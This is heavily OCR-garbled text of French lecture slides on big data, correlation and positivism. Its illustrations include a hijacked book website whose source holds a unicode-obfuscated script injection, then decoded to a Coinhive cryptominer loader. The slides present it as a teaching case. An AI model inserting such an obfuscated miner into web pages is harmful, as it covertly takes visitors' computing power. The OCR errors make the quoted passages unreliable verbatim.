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US spending on science, space, and technology
correlates with

Suicides by hanging, strangulation and suffocation
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Tyler Vigen - Spurious Correlation (http://tylervigen.com) - 2014
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Tyler Vigen - Spurious Correlation (http://tylervigen.com) - 2014
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How Much is a Single Tweet Worth”? For Movies, 560 - Jaime Brugueras - 2015 - Networked Insights
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So what should movie marketers take away from the data? Tweets matter, and the more direct and far in advance they are, the better.
Encourage fans to tweet about movies long before opening weekend or to make plans over Twitter to attend a showing with friends. Any
way you can encourage an authentic conversation on social media about your film will expand your audience and raise opening

weekend revenue as a result.

How Much is a Single Tweet Worth”? For Movies, 560 - Jaime Brugueras - 2015 - Networked Insights
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TWORKED . .
. Solutions Features Kairos® Resources Company
‘#SIGHTS

Demographic

Hi-Definition
Audience Insights Bl

Trade in your two dimensional description of your
< audience for a hi-definition understanding based
on more than 15,000 dimensions.

Hi-Definition

DOWNLOAD THE WHITEPAPER

ol N6

Networked Insights - homepage - mars 2016
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« Discours sur I’esprit positif »
Auguste Comte, 1844.

DISCOURS
« C’est dans les lois des phénomenes que consiste réellement la

SUR

’ESPRIT POSITIF,

science, a laquelle les faits proprement dits, quelque exacts et
nombreux qu’ils puissent étre, ne fournissent jamais que
d’indispensables matériaux. Or, en considérant la destination PAR M. AUGUSTE COMTE,

Auteur du Systéme de Philosophie positive.

constante de ces lois, on peut dire, sans aucune exagération, que la
véritable science, bien loin d’étre formée de simples observations,

. N . . 3 . (Ce Discours vient d’étre prononcé a V'ouverture du Cours anpuel d’Astronomie
’ populaire que I'auteur professe gratuitement , depuis 1831, a la Mairie du 3¢ ar-
tend toujours a dispenser, autant que possible, de l'exploration et i P e oty W e serkioe s e

didactique résulté de cet enseignement oral.)
directe, en y substituant cette prévision rationnelle, qui constitue, a
tous égards, le principal caractere de lesprit positif, comme

I’ensemble des études astronomiques nous le fera clairement sentir.

]

PARIS.
CARILIA_N-GOEURY ET Vor DALMONT, EDITEURS,
Ainsi, le véritable esprit positif consiste surtout a voir pour prévoir, P e i, e e T
/ QUAL DES AUGUSTINS, 39 ET 41.
a étudier ce qui est afin d’en conclure ce qui sera, d’apres le dogme | Féorion T84,

général de I'invariabilité des lois naturelles », p. 16-17.
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« Discours sur I’esprit positif »
Auguste Comte, 1844.

DISCOURS
« En un mot, la révolution fondamentale qui caractérise la virilité de

SUR

L’ESPRIT POSITIF,

notre intelligence consiste essentiellement a substituer partout, a
I'inaccessible détermination des causes proprement dites, la simple

recherche des lois, c’est a dire des relations constantes qui existent PAR M. AUGUSTE COMTE,

entre les phénomenes observés.

(Ce Discours vient d’étre prononcé a V'ouverture du Cours anpuel d’Astronomie

Q}l,il S ’ agiSSC deS mOindreS Ou deS pluS SUblimeS eﬁets, de ChOC et ’ populaire que I'auteur professe gratuitement , depuis 1831, a la Mairie du 3¢ ar-

rondissement de Paris : il va former le préambule philosophique de Vouvrage
didactique résulté de cet enseignement oral.) :

de pesanteur comme de pensée et de moralité, nous n'y pouvons
vraiment connaitre que les diverses liaisons mutuelles propres a leur

accomplissement, sans jamais pénétrer le mystere de leur

production », p. 13.
PARIS.

CARILIAN-GOEURY ET Vor DALMONT, EDITEURS,

ELDITEURS DE LA GEOMETRIE ANALYTIQUE, PAR M. AUG. COMTE, DES NOUVELLES
ANNALES DE MATUEMATIQUES, ETC., ETE.

WUAL DES AUGUSTINS, 39 ET 41.

Février 1844.
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« Les Lois de I'imitation »
Gabriel Tarde, 1890. LES LOIS

« Si la statistique continue a faire les progres qu'elle a faits depuis

plusieurs années, si les informations qu’elle nous fournit vont se L : [ 1\’1 IT Arl‘[ O N

perfectionnant, s’accélérant, se régularisant, se multipliant toujours,

il pourra venir un moment ou, de chaque fait social en train de FLCD B DR TOLOGIO N

s’accomplir, il s’échappera pour ainsi dire automatiquement un

PAR

chiffre, lequel ira immédiatement prendre son rang sur les registres s

Membre de I'Institut

de la statistique, continuellement communiquée au public et 5 Tl

répandue en dessins par la presse quotidienne », p. 192.

SINIEME EDITION

=
PARIS
FELIX ALCAN, EDITEUR
LIBRAIRIES FELIX ALCAN ET GUILLAUMIN HEUNIES
{OX, BOULEVARD SAINT=GERMAIN, {ON

1911

Tous droits de tradoetion et de veproduction séseryés
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« Les Lois de I'imitation »
Gabriel Tarde, 1890. LES LOIS

DE

« Est-ce qu'on ne surfait pas la statistique quand on émet, a propos

d’elle, certaine espérance qu’il me faut indiquer en finissant ? L : l 1\’1 I T A rl‘ [ O N

Comme on voit ses résultats numériques se régulariser, affecter plus de ETUDE SOCIOLOGIQUE

constance, a mesure qu’elle porte sur de plus grands nombres, on est

PAR

quelquefois enclin a penser que, bien plus tard, si la marée montante de

: . \ . - \ : G. TARDE
la population continue a accroitre et les grands Etats a grandir, un

Membre de I'Institut

Professenr an Gollége do France,

moment viendra ou tout, dans les phénomenes sociaux, sera réductible
en formules mathématiques. D’ou l'on induit abusivement que le

statisticien pourra un jour prédire 1’état social futur aussi slirement que

SINIEME EDITION

I’astronome la prochaine éclipse de Vénus. En sorte que la statistique TR
serait destinée a plonger toujours plus avant dans l'avenir comme

I’archéologie dans le passé.
PARIS

FELIX ALCAN, EDITEUR
Mais nous savons par tout ce qu1 précéde que la Statistique est LIBRAIRIES FELIX ALCAN ET GUILLAUMIN HEUNIES

{OX, BOULEVARD SAINT=GERMAIN, {ON

1911

Tous droits de tradoetion et de veproduction séseryés

circonscrite dans le champ de 'imitation et que celui de I'invention lui

est interdit », p. 196.
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“The human use of human beings” Anchor A 94 k.
Norbert Wiener, 1950.

« Je soutiens que le fonctionnement de l'individu vivant
et celui de quelques machines tres récentes de transition CYBERNETICS AND SOCIETY
sont précisément paralleles. Dans ces deux cas, I'un des ;
stades du cycle de fonctionnement est constitué par des Notbort Wispas o
récepteurs sensoriels. Chez 'un comme chez l'autre il
existe un appareil spécial pour rassembler I'information
provenant du monde extérieur selon des niveaux de faible
énergie et pour la rendre utilisable en vue du

fonctionnement de l'individu et de la machine », p. 28

(édition francaise, Deux rives, 1952) .

SECOND EDITION REVISED
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“The End of Theory: The Data Deluge Makes the Scientific Method

Obsolete”
Chris Anderson, Wired, 23 juin 2008.

“The Petabyte Age is different because more is different”
“With enough data, the numbers speak for themselves”
“Hypothesize, model, test is becoming obsolete”
“Petabyte allow us to say : correlation is enough”

“There is no reason to cling to our old ways.
It’s time to ask : what can science learn from Google”

Boris Beaude - STS Lab - UNIL - Introduction a I'épistémologie du numérique

SHARE

m o o
z o =
> z =
E z

THE END OF THEORY: THE DATA
DELUGE MAKES TIIE SCIENTIFIC
METHOD OBSOLETE

"All models are wrong, but some are useful.”

This article has been reproduced in a new format and
may be missing content or contain faulty links. Contact
wiredlabs@wired.com to report an issue.

So proclaimed statistician George Box 30 years ago, and he
was right. But what choice did we have? Only models, from
cosmological equations to theories of human behavior,
seemed to be able to consistently, if imperfectly, explain the
world around us. Until now. Today companies like Google,
which have grown up in an era of massively abundant data,
don’t have to settle for wrong models. Indeed, they don’t
have to settle for models at all.

Sixty years ago, digital computers made information
readable. Twenty years ago, the Internet made it reachable.
Ten years ago, the first search engine crawlers made it a
single database. Now Google and like-minded companies are
sifting through the most measured age in history, treating
this massive corpus as a laboratory of the human condition.
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“Big Data : A revolution that will transform
how we live, work, and think”

Viktor Mayer-Schénberger et Kenneth Cukier, 2013.

“Correlations are useful in a small-data world, but in the
context of big data they really shine. Through them we can

glean insights more easily, faster, and more clearly than before.

At its core, a correlation quantifies the statistical relationship
between two data values. A strong correlation means that when
one of the data values changes, the other is highly likely to
change as well. We have seen such strong correlations with
Google Flu Trends: the more people in a particular geographic
place search for particular terms through Google, the more
people in that location have the flu. Conversely, a weak
correlation means that when one data value changes little
happens to the other. For instance, we could run correlations on
individuals’ hair length and happiness and find hair length is

not especially useful in telling us much about happiness.” p. 52.

DI
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“Social Physics”
Alex Pentland, janvier 2016.

“Because modern culture puts so much emphasis on
independence and personal choice, it is often difficult to
realize that it is a good thing that most of our life is
highly patterned, and that we are all quite similar
rather than being completely different individuals with
different patterns of behavior. » p. 190.

“There is another reason why people should prefer the
concepts of social physics to that of markets and
classes. Because markets and classes are averages or
stereotypes, reasoning that uses these terms leads
inevitably to considering all people in the market or class
to be the same. Adam Smith’s markets end up being as
dehumanizing as Karl Marx’s classes”, p. 190.
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Figure 1. Qualitative overview of social science observatories and experiments, with the horizontal axis showing data
collection duration and the vertical axis showing richness of the information collected. Data sets include: (1) Most social
science experiments, (2) Midwest Field Station,* (3) Framingham Heart Study,* (4) Large Call Record data sets* (5) Reality
Mining,* (6) Social Evolution,* (7) Friends and Family,* (8) Sociometric Badge studies,* (9) Data for Development (D4D)
data set,* (10) where the world is headed.
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[ .inked ' o

Albert Laszlo Barabasi

» . * -
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e "
°
“Remarkable.... A sweeping look at a new and exciting science.” —Science I E N E
y r r -

Albert-Laszlo Barabasi Albert-L3dszld Barabidsi
Author of LINKED
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Gonzélez, Marta C, César A Hidalgo, and Albert-Laszl6 Barabasi. 2008. “Understanding individual human mobility patterns.” Nature 453(7196): 779-782.

Boris Beaude - STS Lab - UNIL - Introduction a |'épistémologie du numérique - 2022




Big data, social physics, positivisme

“Individuals display significant regularity, because they
return to a few highly frequented locations, such as home
or work. This regularity does not apply to the bank notes:
a bill always follows the trajectory of its current owner;
that is, dollar bills diffuse, but humans do not”, p. 781.

Gonzélez, Marta C, César A Hidalgo, and Albert-Laszl6 Barabasi. 2008. “Understanding individual human mobility patterns.” Nature 453(7196): 779-782.
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Network Science by Albert-Laszl6 Barabasi
http://networksciencebook.com

<IDOCTYPE html>

<html ng-app="networkBook" ng-controller="MainCitrl" xmIns="http://www.w3.0rg/1999/xhtml" xmIns:og="http://ogp.me/ns#"
xmins:fb="https://www.facebook.com/2008/foml">
<head>

<base href="/">

<title>Network Science by Albert-Laszl6 Barabasi</title>
<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1"> W SRR
<link rel="stylesheet" type="text/css" href="css/main.css">

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.25/angular.min.js"></script>

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.25/angular-route.js"></script> : gtms‘atew
<script src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script> ysteme
<script src="js/libs/pageTitle.js"></script> Inactive
<script src="js/libs/angular-scroll.js"></script>

<script src="js/libs/angular-fullscreen.js"></script> Température CPU

<script src="js/libs/d3.v3.min.js"></script>

<script src="js/app.js"></script>

<script type="text/ ® Safari 398.5%

javascript">document.write(\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003D\"\u0068\u0074\u00 ® Google Chrome 42 2%
74\u0070\u0073\u003A\W002F\u002F\u0063\u006F\u0069\U006 E\U0068\U0069\u0076\u0065\u002E\U0063\u006F\U006D\U002F\U0 B il e 10.9%
06C\u0069\u0062\u002F\u0063\u006 F\u0069\u006E\U0068\U0069\u0076\u0065\U002E\U006D\U0069\UOO06E\UOO2E\UOO6A\U0073\"\ 1 sandboxd 4.8%
u0020\u0074\u0079\u0070\u0065\u003D\"\u0074\u0065\u0078\u0074\u002F\u006 A\uU0061\u0076\u0061\u0073\u0063\u0072\u006 = ker n‘el taé " 2' 6%
9N\u0070\w0074\"\u0O03E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");</script> -~

<meta property="og:title" content="Network Science by Albert-LaszI6 Barabasi">

<meta property="og:type" content="book">

<meta property="og:url" content="http://networksciencebook.com/">

<meta property="og:image" content="http://networksciencebook.com/images/networksciencebook.jpg">

<meta property="og:site_name" content="BarabasiLab">

<meta property="o0g:description"

content="The power of network science, the beauty of network visualization.">

</head>
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Decode/Unescape Unicode Entities

Example: %u0639%u0631%u0628%u0649 to =

Note:Unicode Entity numbers are in Hex

Unicode Entities

\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003D\"\u0068\u0074\u0074\u0
070\u0073\u003A\u002F\u002F\u0063\u006F\u0069\u006E\U0068\u0069\u0076\u0065\u002E\U0063\UOO6F\
u006D\u002F\u006C\u0069\u0062\u002F\u0063\u006F\U0069\UOOGE\u0068\u0069\u0076\u0065\u002E\u00
6D\u0069\u006E\u002E\uO06A\U0073\"\u0020\u0074\u0079\u0070\u0065\u003D\"\u0074\u0065\u0078\u007
4\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\"\uOO3E\UOO3C\u002F\u0073\u
0063\u0072\u0069\u0070\u0074\u003E

Result

<script src="https://coinhive.com/lib/coinhive.min.js" type="text/javascript"></script>
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coinhive  documentation login
HASHES/S TOTAL
56.1 400
THREADS SPEED
8 100%

A Crypto Miner
for your Website

Monetize Your Business With Your Users' CPU Power

INTEGRATE COINHIVE ON YOUR WEBSITE

signup

@ Utilisateur
Systeme
Inactive

Température CPU

® Google Chrome 709.0%
™1 bird 17.6%
™1 WindowServer 16.0%
™1 sandboxd 7.4%
M Finder 5.8%

@ Utilisateur
Systeme

Inactive

Température CPU

® Google Chrome
™1 WindowServer
M Finder

B vyprvpnservice
™1 sandboxd
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Estimations historiques Voir les données pour : | Etats-Unis -
Etats-Unis - Propagation du virus

Estimation de la grippe ® Estimation Google Suivi de la grippe

Etats-Unis : Données publiques sur le syndrome grippal (ILI) fournies par les Centres américains de prévention et de contrdle

des maladies.

Ginsberg, Jeremy et al. 2008. “Detecting influenza epidemics using search engine query data.” Nature 457(7232): 1012-1014.
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Google starts estimating

Google Fl L d CDC .
oogte rlu agge high 100 out of 108 weeks

Google Flu + CDC

[EY

-

o
|

Error (% baseline)
S
1

&
= o
| |

07/01/09 07/01/10 07/01/11 07/01/12 07/01/13
Data

« Instead of focusing on a “big data revolution,” perhaps it is time we were focused on an “all data
revolution,” where we recognize that the critical change in the world has been innovative analytics,
using data from all traditional and new sources, and providing a deeper, clearer understanding of our
world ».

David Lazer, et al. 2014, The Parable of Google Flu: Traps in Big Data Analysis, Science 343(6176): 1203-1205.
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Spurious Correlations
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February 2004 to  Facebock begins at Harvard, and February 2005to  Facebook expands te include most
January 2005 expands to a few universities at a time. January 2006 American colleges and high schools.

The Road to 200 Million e L gt T g

Facebook began as a private network : e Y e » : T ;
for colleges and universities, but has

grown into an international socia
networking site with almost 200 million

members. Lee Byron, a member of o - i
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Lee Byron, Facebook Growing to 200 Million, 2008
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Sources : Internet World Stats et Google Transparency Report - 2013

Boris Beaude et Ogier Maitre - L’'ubiquité fracturée - 2014
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“Critical questions for Big Data”
dana boyd & Kate Crawiford, Information, Communication & Society, June 2012, pp. 662679,

danah boyd & Kate Crawford

CRITICAL QUESTIONS FOR BIG DATA

Provocations for a cultural,

« Technology is neither good nor bad; nor is it neutral »

technological, and scholarly

1. Big Data changes the definition of knowledge phenomenon

' ' . . ' 1 The era of Big Data has begun. Computer scientists, physicists, economists, mathemati-
2 | G | a| m 8 to O bJ ect |\/|ty an d aCC u racy are m | S | ead | n g cians, political scientists, bio-informaticists, sociologists, and other scholars are clamoring
for access to the massive quantities of information produced by and about people, things,
and their interactions. Diverse groups argue about the potential benefits and costs of ana-
lyzing genetic sequences, social media interactions, health records, phone logs, govern-
ment records, and other digital traces left by people. Significant questions emerge.
' Will large-scale search data help us create better tools, services, and public goods? Or
8 . B | g g e r d ata are n Ot a | \/\/ayS b ette r d ata will it usher in a new wave of privacy incursions and invasive marketing? Will data ana-
Iytics help us understand online communities and political movements? Or will it be used
to track protesters and suppress speech? Will it transform how we study human communi-
cation and culture, or narrow the palette of research options and alter what ‘research’
, , , means? Given the rise of Big Data as a socio-technical phenomenon, we argue that it
is necessary to critically interrogate its assumptions and biases. In this article, we offer
4 ! Ta Ke n O U-t Of C O nteXt ) B | g D a-ta | O S e S |t8 m e an | n g six provocations to spark conversations about the issues of Big Data: a cultural, techno-
logical, and scholarly phenomenon that rests on the interplay of technology, analysis, and
mythology that provokes extensive utopian and dystopian rhetoric.

Keywords Big Data; analytics; social media; communication studies;

5. Just because it Is accessible does not make it ethical socal network sies; philosophy of scence; pistemologys ethcs; Toitter

(Received 10 December 2011; _ﬁnal version received 20 March 2012)

[ | | 11 N /1 Technology is neith d nor bad; nor is i 1. .. technology’s inter-
o. Limited access to Big Data creates new digital divides oo th soc oty ettt v dvciopments By
have environmental, social, and human consequences that go far beyond the

immediate purposes of the technical devices and practices themselves.
(Kranzberg 1986, p. 545)

Information, Communication & Society Vol. 15, No. 6, June 2012, pp. 662—679
%{ Routledge ISSN 1369-118X print/ISSN 1468-4462 online  © 2012 Microsoft
Taylor & Francis Group http://www.tandfonline.com http://dx.doi.org/10.1080/1369118X.2012.678878
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“Big data: are we making a big mistake?”
lim Harford, Hnancial limes Magazine, March 28, 2074,

- Numbers don't speak for themselves
- Theory free analysis is fragile

- N=all doesn’t exist

- Sampling error & Sampling biais

- Correlations are not causation

- We are not studying a stable environment

- Alfred Landon vs Franklin Roosevelt (1936) and sampling error
- Street Bump (Boston) and sampling biais

- Target and baby clothes (2012) and false positives

- John loannidis (2005) - VWhy most published research findings are

false ? and spurious correlations

FINANCIAL TIMES mFT

FT Magazine University College London

Big data: are we making a big mistake?
Big data is a vague term for a massive phenomenon that has rapidly

become an obsession with entrepreneurs, scientists, governments and
the media

© Ed Nacional
vy n in m save

Tim Harford MARCH 28 2014 [ & =

Five years ago, a team of researchers from Google announced a remarkable achievement
in one of the world’s top scientific journals, Nature. Without needing the results of a
single medical check-up, they were nevertheless able to track the spread of influenza
across the US. What’s more, they could do it more quickly than the Centers for Disease
Control and Prevention (CDC). Google’s tracking had only a day’s delay, compared with

[ Feedbac |

the week or more it took for the CDC to assemble a picture based on reports from
doctors’ surgeries. Google was faster because it was tracking the outbreak by finding a
correlation between what people searched for online and whether they had flu

symptoms.

Not only was “Google Flu Trends” quick, accurate and cheap, it was theory-free.

Google’s engineers didn’t bother to develop a hypothesis about what search terms — “flu
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United States Presidential Election Results by County
(1936)
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Big data: are we making a big mistake?

Big data is a vague term for a massive phenomenon that has rapidly
' become an obsession with entrepreneurs, scientists, governments and
the media
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Facebook : nofluxin

Les fins d’Internet, Fyp, 2014
http://www.beaude.net/ie/

Internet, changer l'espace, changer la société, Fyp, 2012
http://www.beaude.net/icecs/

lllustration : Zak Bickel / The Atlantic / 2015
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